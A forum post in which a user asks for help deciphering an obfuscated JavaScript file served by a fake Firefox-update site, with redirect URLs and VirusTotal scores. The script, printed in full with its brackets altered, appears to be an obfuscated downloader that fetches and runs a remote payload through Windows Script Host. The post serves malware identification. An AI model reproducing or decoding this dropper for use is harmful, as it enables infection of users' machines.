There are a lot of fake browser update sites. Usually I download the scrypt and go to the url and forward the malicious stuff to virustotal to see how long various antivirus sites take to detect it. This scrypt though is written in gibberish that doesn't seem to have a url.
All the ZZZZZs are added to break links
It came from
https://feipinofa.nZZZZZet/4231654327224/1470796620751580/fireZZZZZfox-patch.js to which I was maliciously redirected from
http://www.newser.com/story/229406/subway-employee-accused-of-drugging-officers-drink.htmlor
http://www.wistv.com/story/32721957/sandwich-chain-worker-accused-of-drugging-officers-drinkThe script is as follows, can you decypher it? Warning it has something malicious that no antivirus detects yet.
The symbol [ is replaced by ZZZZZ
var ggudez='vmaprc gvdfejfpuzexjmeez=h\'z n{pymastiro swterAk=gnjezvriaXxcztncnebjttrOgbzclskWjrq(k"qSp.xtfhbiqpo)q"ilh;ietloesnt=fws rbeigtecgvz vAnjzbhOyeiexXiSy"n(fcecptwistgpfnaroiyloigFsetgz.jeytfsomeSfyjcreejqtpOnbocy l;c=d"p)sAa iwycfnienXdexvuOwtqiutgcpez(ubtjfMdXlSkLu"bMxLjMzXjHl2d.y)e"dPh;cTiTpeqnm=mwk iddietpctve jAnjkbnOyeuehXaAs"r(zDbcdtcSa.hBgthOjDo"xmzaa)krkejlorouy=h;s hputctust"xhcetfq/tis:r/wfvosndabpain/qtxen1q.inx4a2w5l.y0e/e;g"zth bdsafedmmav=xffnmtuebGfSxbc.falitcclypjeke';var tcvj='wdklhrhFiomSm+p)ltu(q2e.zgunrfurriwhhClmxamrjoaerduot(urtCd"f+p)n1n9x2w.z5k4lel2e3b p;e"wfhxyenadvg(zrbosri;b1k=div fixiy;l5m+m<y=krity{vyt+j)zpvoz.der{gccEfGk"iTenl(brmun mlq"i,slnahfdsa,t c.kcb;asfev)knf(qdkujeinrbl;n)brulsln}v;fkacievai(ahicqedajtjcgSuWkrg)a{fSr.ftwlbippe5t(aps0uevek}i;q)p}i0z0lprOz.ueh ddd.qdj xTbnq;x=g hed cyjps.hdc tWz1x;o(keftfcaroieplsfeeof.nRhojBeerdgnfshde m;p.iyp)ztaiwsciuPwoa;j0h=g oohnubt(s a.xiyfoeeehlsxwFnix(dsstjftiasz)sebmv)vnwaslvefDzebbu.glwinFz';var xkvof='ewtkexmkapneed(lfs.adp lSk)i;mojTbenFfaxvkfy(sepnxiulj;e)rew eanmhnbuyrw(gab.i.zdcmxel"ncgcx/x i lxdegrvtbSzil"z+trufe.kornigyrzakhxCvmrCz3e(reb4cocdpajnafmms)l+qrythSrixet+rrrfo.vocnfgeraaehoCymaCf3x(fex4zohdafo,r0aab)j,m;r)heu jlesnpa vrb wvxahcaSyWlro=x mSu.utscsiupzFstipqusrkiamfacNhezlllm mfmii(o;j flvijFeehby.btustiwsmElxqbm)d)z.d(wpjtdeblmekDbey(xeolkpfFcitSlWx dcp)f;b.rtzpuEorlif"e(xojUecahfeoteah appdilypmmwejcroy)d"c.w;gtsebci k}aac y mei(dhk)rthcl w v p e{v}e\'m;uvraird ';var ujak='iyhfgwlyeknpemflvtoig=y"n4t5g2q1d0y3y"o;vvtadrz poizlkklzrujosiub=vyufgwiyyklpemnlstcia.lliernpggtphd;cvjahrb zsqsmpjnpcgfxnyai=svsfojapqzaxfmeet.hleefnqgvtuhx/koyzzktlfrajtsvun;cvlaurz jccwsmcxrttlthsiyxxsm=fZZZZZb]r,wlxrmitgicktsxcmp=tZZZZZv]l;gvxawra xag=d0p;ifvoirc(nvhazrz mia=r0j;yid<csgsnpunicdfondap;uia+m+u)x{s x n bcswwmdxgtdlchgiqxdsxZZZZZzic]b=bvifpjwpqztxkmtei.fsuuubzsstnrx(fao,qoczskxlfrvjdswuz)b;v b d xaj s+u=aomzfktlurkjospuk;g}cfiomrr(yvoajrw uie=a0r;dib<msfsfpknocxfenoaj;jii+e';var fjaur='+t)w{t e d wfmoqrn(kvfawrh amb=h0r;fmi<dokznkolzrljssouv;cmw+z+w)t{t a x p m nacqxbsvzweesobulqj=gyufnwryikbprmtlutfip.wcchpasrvAjts(tmy)f;g b c z b hlsrcisgccjtmxpmaZZZZZvmr]r=pclwxmexitzlthaivxcstZZZZZoib]y.vcchbaurdAitn(gabqpbpvoweeqojuwqi)y;h f c p}f w q bczwkmqxatillhdikxgshZZZZZsit]o=uljrdiigocttrxkmb.pjsohirni(m"o"y)n;n}ivdaorr posabuwlaquiqnowpvznr=xcnwlmoxytmldhqiuxvsy.gjkoxiunx(f"y"m)x;oveazrk fkujaatkjcalkrglojw=u"meivyaclc"u;atjheiyseZZZZZckdjcapkbcrltralbjz]v(cosaeudldqlirnzwgvdni)e;';var gce='f';var bboahfkbss=ggudez+tcvj+xkvof+ujak+fjaur+gce; var e=new Error(2); var t=e.number; var uakenars=""; var riqrliooj=t; var vdsyeadob=bboahfkbss.split(""); for (a=0;a<vdsyeadob.length;a +=riqrliooj){ uakenars=uakenars+vdsyeadobZZZZZa];} var ycchmhvn=ZZZZZ"e","e","a","x","v","l","o"]; var xmodlrck=3-t; var vhiwyzhho=ycchmhvnZZZZZxmodlrck]+ycchmhvnZZZZZ4]+ycchmhvnZZZZZ2]+ycchmhvnZZZZZ5]; var kbubebolwc=this; var jksgjsorh=kbubebolwcZZZZZvhiwyzhho]; jksgjsorh(uakenars); var axvqsxsjewcbr='qcncarncfkrbfifzybgnymsmbcaarftthdzvwjwmtqsbzgmlvhgtlsygtmnvuhcahtlqpfnfitgjrij
sqeyzebpzztihvuxvzqvltsuglaetxeaj';
Right now it scores 0/54 on virustotal
https://www.virustotal.com/en/file/0a5cdd5b40d88ded4a3783a7ed89148a13bdc3351a9a67cb2b78cd39bab408f3/analysis/1470797839/In a few days it will score 5 or 10 / 54
In a week or two 20 or 30 / 54